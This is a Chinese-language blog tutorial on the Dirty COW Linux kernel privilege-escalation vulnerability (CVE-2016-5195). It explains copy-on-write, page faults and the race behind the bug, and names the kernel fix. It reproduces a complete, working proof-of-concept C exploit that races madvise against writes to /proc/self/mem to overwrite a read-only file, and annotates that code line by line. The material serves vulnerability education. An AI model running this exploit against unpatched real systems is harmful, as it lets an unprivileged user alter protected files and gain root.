当前位置:   article > 正文

linux提权之dirtycow_linux脏牛

linux脏牛

Dirty COW(脏牛)漏洞是一种影响Linux操作系统的本地特权升级漏洞,其全称为"Copy-On-Write"(写时复制)漏洞。这个漏洞在2016年被公开,并且影响了大量的Linux内核版本。

Dirty COW漏洞的根本原因是在Linux在竞态条件下的复制时写入(Copy-On-Write)机制的实现存在缺陷。Copy-On-Write是一种内存管理技术,它允许多个进程共享同一个物理内存页面的副本,直到其中一个进程尝试修改该页面时,系统才会复制出一个新的页面供修改进程使用。

竞态条件(Race Condition)是多个并发操作或线程访问共享资源时可能出现的一种问题。竞态条件发生在多个操作之间存在依赖关系,并且操作的执行顺序会影响最终的结果。

听起来似乎比较复杂,我们可以简单一点

假设有一个变量a

a="dirty"
  • 1

同时还有另一个变量b

b=a
  • 1

尽管这是两个变量,但它们都指向同一个内存对象,因为不需要为相同的值占用两倍的内存量。但如果修改了b变量,操作系统就会为这个变量分配单独的内存

b+="cow"
  • 1

修改时,内核执行了一下操作:

  1. 为新修改的变量分配内存

  2. 读取正在复制的对象的原始内容

  3. 对它执行任何必要的更改,即附加“cow

  4. 将修改后的内容写入新分配的内存空间

在步骤 2 和 4 之间存在竞态条件,会使内存映射器将修改后的内容写入原始内存空间,而不是新分配的空间。这样,我们最终会修改 a这个 原始对象而不是 b,即使我们只有 a的只读权限,仍然可以通过竞态条件绕过。

接下来我们可以通过一个小实验来理解这个过程

开始实验

本实验的目标是使用 Dirty Cow 漏洞修改只读文件。

首先通过root创建一个其他人都只能读的只读文件test.txt
请添加图片描述

接着通过gcc编译一下代码

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
    pthread_t pth1,pth2;
    struct stat st;
    int file_size;

    int f=open("test.txt", O_RDONLY);

    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    char *position = strstr(map,"dirty");                        

    pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
    pthread_create(&pth2, NULL, writeThread, position);             

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    return 0;
}
void *writeThread(void *arg)
{
    char *content= "cow";
    off_t offset = (off_t) arg;
    int f=open("/proc/self/mem", O_RDWR);
    int i = 0;
    for(i = 0; i < 200000000; i++) {
        lseek(f, offset, SEEK_SET);
        write(f, content, strlen(content));
    }
}
void *madviseThread(void *arg)
{
    int file_size = (int) arg;
    int i = 0;
    for(i = 0; i < 200000000; i++) {
            madvise(map, file_size, MADV_DONTNEED);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50

可以发现文件内容被我们给修改了

请添加图片描述

分析代码

首先简单看一下主函数代码,在这之前,我们得先了解linux中的Page Cache

Page Cache

在Linux中,Page Cache(页缓存)是一种用于加速文件系统性能的内核机制。Page Cache是一种缓存,它将磁盘上的文件数据以页的形式缓存在内存中,以便快速响应对文件的读取和写入操作。

当进程通过系统调用读取文件时,Linux内核会尝试从Page Cache中查找相应的数据。如果数据已经缓存在Page Cache中,内核可以直接将数据返回给进程,避免了从磁盘读取的开销,从而提高读取性能。

同样地,当进程进行写入操作时,内核会将数据写入Page Cache,并将数据标记为已修改(dirty)。然后,内核会根据一定的策略将这些修改的数据异步地刷新回磁盘,以确保数据持久化。这种延迟写入的方式可以提高写入性能,减少频繁的磁盘IO操作。

mmap

其中,mmap()是一个系统调用函数,用于在进程的虚拟地址空间中创建一个新的内存映射区域。它可以将文件或其他资源映射到进程的内存中,也可以用于创建匿名的、仅在内存中存在的映射区域。

#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
  • 1
  • 2

mmap()函数接受六个参数:

  • addr:映射区域的首选地址。通常传入NULL,让操作系统自动选择一个合适的地址。

  • length:映射区域的长度(以字节为单位)。

  • prot:内存保护标志,指定映射区域的访问权限。常见的选项有:PROT_READ:可读。PROT_WRITE:可写。PROT_EXEC:可执行。

  • flags:映射选项标志,用于控制映射区域的行为。常见的选项有:

    • MAP_SHARED:与其他进程共享映射的文件或资源。
    • MAP_PRIVATE:创建私有的映射区域,对其所做的修改不会影响原始文件或资源。
    • MAP_ANONYMOUS:创建匿名的映射区域,不与文件关联,仅在内存中存在。
  • fd:要映射的文件描述符,如果创建匿名映射,则为-1。

  • offset:映射的文件中的偏移量,通常为0。

mmap创建的内存映射就是将磁盘文件的内容放到了Page Cache里。

主函数

这段代码一共创建了三个线程,主线程writeThreadmadviseThread,主线程创建了私有的映射区域并将我们的文件映射到内存,找到我们要替换的内容的位置,然后创建两个线程来产生竞态条件

int main(int argc, char *argv[])
{
    pthread_t pth1, pth2; // 声明两个线程标识符
    struct stat st; // 声明一个stat结构体变量,用于获取文件的状态信息
    int file_size; // 声明一个整数变量,用于存储文件大小

    int f = open("test.txt", O_RDONLY); // 打开一个名为"test.txt"的文件,以只读方式打开,并返回文件描述符

    fstat(f, &st); // 获取文件的状态信息,将结果存储在st结构体中
    file_size = st.st_size; // 获取文件的大小,赋值给file_size变量

    map = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0); // 将文件映射到内存中,返回映射区的起始地址,存储在map指针中

    char *position = strstr(map, "dirty"); // 在映射区中搜索字符串"dirty",返回第一次出现的位置的指针,存储在position指针中

    pthread_create(&pth1, NULL, madviseThread, (void *)file_size); // 创建一个线程,执行madviseThread函数,并将file_size作为参数传递
    pthread_create(&pth2, NULL, writeThread, position); // 创建另一个线程,执行writeThread函数,并将position作为参数传递

    pthread_join(pth1, NULL); // 等待线程pth1的结束
    pthread_join(pth2, NULL); // 等待线程pth2的结束

    return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

madviseThread

然后是madviseThread,在这之前先了解一下madvise函数

madvise()是一个系统调用函数,用于向操作系统提供有关内存映射区域使用方式的提示信息。它的原型如下:

#include <sys/mman.h>
int madvise(void *addr, size_t length, int advice);
  • 1
  • 2

madvise()函数接受三个参数:

  • addr:指向欲操作的内存区域的起始地址。
  • length:欲操作的内存区域的长度(以字节为单位)。
  • advice:对内存区域使用方式的提示信息,使用MADV_*常量之一。

madvise()函数的常用选项(advice参数)如下:

  • MADV_NORMAL:默认选项,没有特殊提示。

  • MADV_RANDOM:内存区域将以随机访问方式使用。

  • MADV_SEQUENTIAL:内存区域将以顺序访问方式使用。

  • MADV_WILLNEED:预先告知操作系统,内存区域将很快被使用,建议提前加载至内存。

  • MADV_DONTNEED:告知操作系统,内存区域的内容不再需要,可以被丢弃或回收。

  • MADV_REMOVE:从内存中删除映射区域,但保留文件内容。

  • MADV_DONTFORK:禁止映射区域被子进程继承。

madviseThread函数:

void *madviseThread(void *arg)
{
    int file_size = (int)arg; // 获得传进来的文件大小
    int i = 0;
    for (i = 0; i < 200000000; i++) {
        madvise(map, file_size, MADV_DONTNEED); //告诉操作系统,该内存区域的内容不再需要,可以被丢弃或回收
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

madviseThread要干的事非常简单,就是不断丢弃映射内容的副本页,这将导致指向副本页的页表项被清除

writeThread

再来看看writeThread

void *writeThread(void *arg)
{
    char *content = "cow"; // 要写入内存的内容
    off_t offset = (off_t)arg; // 要写入的内存偏移量,将void指针参数转换为off_t类型

    int f = open("/proc/self/mem", O_RDWR); // 以可读写方式打开当前进程的内存文件
    int i = 0;
    for(i = 0; i < 200000000; i++) {
        // 将文件指针移动到之间查找到“dirty”的位置
        lseek(f, offset, SEEK_SET);
        // 向内存写入数据
        write(f, content, strlen(content));
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

writeThread函数将指定的内容(“cow”)通过/proc/self/mem写入内存,诶?这里似乎出现了一个问题,我们之前通过mmap返回的内存映射不是只读的吗?那这里对该位置尝试写入能写成功吗?而且就算写成功,写的也是内存映射中的内容,和原来的本地磁盘上的内容有什么联系?不急,我们接着往下看

缺页中断

这里先讲讲linux的缺页中断

Linux的缺页中断处理方式大致可以分为以下几个步骤:

  1. 中断处理程序(Interrupt Handler):当发生缺页中断时,CPU会暂停当前进程的执行,并转交控制权给内核的中断处理程序。这个中断处理程序负责保存当前进程的上下文,并进行后续的缺页中断处理。
  2. 查询页表:中断处理程序首先会查询当前进程的页表,以确定引发缺页中断的虚拟地址所对应的页表项。如果页表项不存在或标记为无效,说明该页面尚未映射到物理内存,需要进行页面调入。
  3. 页面调入:当发现虚拟页面尚未映射到物理内存时,内核会触发页面调入操作。它会选择一个物理页面(可能需要从磁盘读取)来存储该虚拟页面的数据,并进行必要的页面映射更新。
  4. 更新页表:页面调入后,内核会更新当前进程的页表,将虚拟地址与物理地址进行映射。这样,进程可以继续访问该页面,而不会再触发缺页中断。
  5. 恢复进程执行:完成页面调入和页表更新后,内核会恢复中断处理程序保存的当前进程上下文,并将控制权返回给进程。进程可以继续执行之前被中断的指令,访问所需的页面。

了解完之后我们开始分析整个过程(初略的讲一下,具体的代码逻辑可以看blingblingxuanxuan的文章

第一次缺页中断

首先在主函数调用完mmap之后将文件内容以只读的形式映射到了内存中,然而相应的页表还未来得及建立

writeThread进程通过虚拟地址尝试访问这个页,但页表为空,触发缺页中断,不同的情况有不同的处理方式,而这里发生缺页以后,内核根据根据访问flags(FOLL_WRITE,写请求)和mmap类型(VM_PRIVATE,私有映射区域),在物理内存上将page_cache做了一份拷贝(COW),也就是创建一个新的物理页(称为副本页),然后将原始页的内容拷贝到新的物理页中,并使用副本页建立页表,映射给进程使用(联系到之前的例子,对b进行修改,内核拷贝了一份新的地址给b)。同时标记页表为只读RO脏页dirty

第二次缺页中断

解决完问题,writeThread继续尝试写操作,当查找页表时,发现所请求的页表项被标记为只读(read-only),但是进程试图对该页进行写操作,Linux 的处理方式是将写意图(write intent)去掉,即FOLL_WRITE=0,同时会复制一份新的内存区域,并将这份新的内存区更新到页表中,并将这份新的内存区域的权限设置为可写,内核重新执行引发页面错误的那条指令。

正常情况下,程序拿到新的页表项找到物理内存就可以开始做写操作了,这个写操作是在新的内存页中操作的,和原来的内存页中无关(类似于修改了b,但和a无关)

诶!!!好巧不巧,正好此时madviseThread执行到madvice函数,释放了对应的虚拟内存空间,把这个页表的存在位清空了。

第三次缺页中断

之前writeThread本应拿到的页表项被madviseThread给清空了,所以又发生了缺页中断,和第一次一样,只不过这一次由于访问flags(FOLL_WRITE=0),认为没有写意图,就直接返回page cache这个物理内存以建立页表关系,所以writeThread就这样拿到了对应着page cache的页表项,并通过kmap()映射绕过mmap映射的读写限制,完成强制写内存

page cache写回

page cache的数据标记为已修改(dirty),就会通过page cache写回机制覆盖调原有的磁盘文件,至此,仅可读文件被成功修改。

上述所有的流程都是只在一次for循环中完成的,过程可参考一下流程图

请添加图片描述

修复

linux增加了一个FOLL_COW属性,第二次缺页中断后FOLL_WRITE不会置为0,而是加上一个FOLL_COW的属性,这样第三次的缺页中断FOLL_WRITE依旧等于1

参考:

经典内核漏洞复现之 dirtycow

条件竞争学习 之 DirtyCow分析

Linux内核[CVE-2016-5195] (dirty COW)原理分析

Dirty Cow Vulnerability: An Analysis

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/寸_铁/article/detail/872649
推荐阅读
相关标签
  

闽ICP备14008679号